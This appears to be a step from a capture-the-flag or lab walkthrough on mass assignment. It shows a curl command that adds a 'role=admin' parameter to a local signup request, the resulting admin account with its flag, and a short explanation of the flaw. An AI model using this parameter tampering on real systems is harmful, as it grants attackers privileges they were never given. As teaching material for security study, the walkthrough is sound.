Sending the field they hid

One extra parameter

Add a role parameter and submit it yourself:

curl -s -d 'username=mallory&password=pw&role=admin' http://127.0.0.1:8080/app/register

In the terminal

student@vulntech:~$ curl -s -d 'username=mallory&password=pw&role=admin' http://127.0.0.1:8080/app/register
Created account: {"role": "admin", "username": "mallory"}
You made yourself an admin at signup. vulntech{mass_assignment_makes_you_admin}

The account comes back as an admin. This is mass assignment (also called autobinding or parameter tampering): the server trusted the shape of the request to match the form, but the request is entirely attacker-controlled. The same move sets is_verified, balance, or another user's id.